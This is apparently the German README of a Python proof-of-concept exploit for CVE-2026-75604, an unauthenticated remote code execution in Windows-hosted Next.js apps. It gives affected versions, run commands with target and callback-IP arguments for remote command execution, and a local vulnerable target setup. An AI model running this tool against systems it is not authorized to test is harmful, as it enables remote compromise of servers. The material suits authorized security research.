
Proof-of-Concept-Exploit für CVE-2026-75604, eine nicht authentifizierte Remote-Codeausführung in auf Windows gehosteten Next.js-Apps, mit callback-basierter Befehlsausführung und lokalem Ziel-Setup.
Python-Proof of Concept für CVE-2026-75604, eine nicht authentifizierte Remote-Code-Execution-Schwachstelle in unter Windows gehosteten Next.js-Anwendungen, die sowohl den Pages Router als auch den App Router ohne Cache Components verwenden.

>=13.4 <15.5.24 oder >=16.0 <16.3.3Validiert mit [email protected].
python -m pip install -r requirements.txt
python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP --pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE --app-cache-path /PATH/TO/APP_CACHE_INSTANCE
Der Server-Action-Pfad ist standardmäßig /. Verwenden Sie --action-field, wenn das Formular mehr als ein Feld hat.
Erforderliche Argumente:
--target URL: Basis-URL der Next.js-Anwendung--callback-ip ADDRESS: vom Ziel erreichbare IPv4-Adresse--pages-cache-path PATH: vorhandene dynamische Pages-Router-ISR-Seite--app-cache-path PATH: vorhandene dynamische App-Router-Seite, die vom Dateisystem-Cache unterstützt wirdOptionale Argumente:
--command COMMAND: auszuführender Befehl; standardmäßig whoami--action-path PATH: App-Router-Seite, die die kompatible Server Action enthält; standardmäßig /--action-field NAME: vom Action verwendetes Formularfeld; wird automatisch erkannt, wenn eindeutig--callback-port PORT: Callback-Port; standardmäßig 4331--listen-address ADDRESS: lokale Callback-Bind-Adresse; standardmäßig 0.0.0.0--timeout SECONDS: Timeout für Anfragen und Callbacks; standardmäßig 20--insecure: deaktiviert die TLS-ZertifikatsprüfungDie optionale Anwendung in target/ pinnt [email protected] und verwendet den standardmäßigen Next.js-Produktionsserver:
cd target
npm ci
npm run build
npm start
Führen Sie das PoC in einem anderen Terminal aus:
python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 --pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed
Das optionale Ziel stellt die erforderlichen Routen und eine kompatible Server Action unter / bereit.
Dieses PoC wird ausschließlich zu Bildungszwecken, für Sicherheitsforschung und autorisierte Tests bereitgestellt. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche Testgenehmigung haben.
Dank an evolutionstorm & b0r1.
Dieses PoC wurde unabhängig aus der öffentlichen Advisory und dem Next.js-Patch rekonstruiert.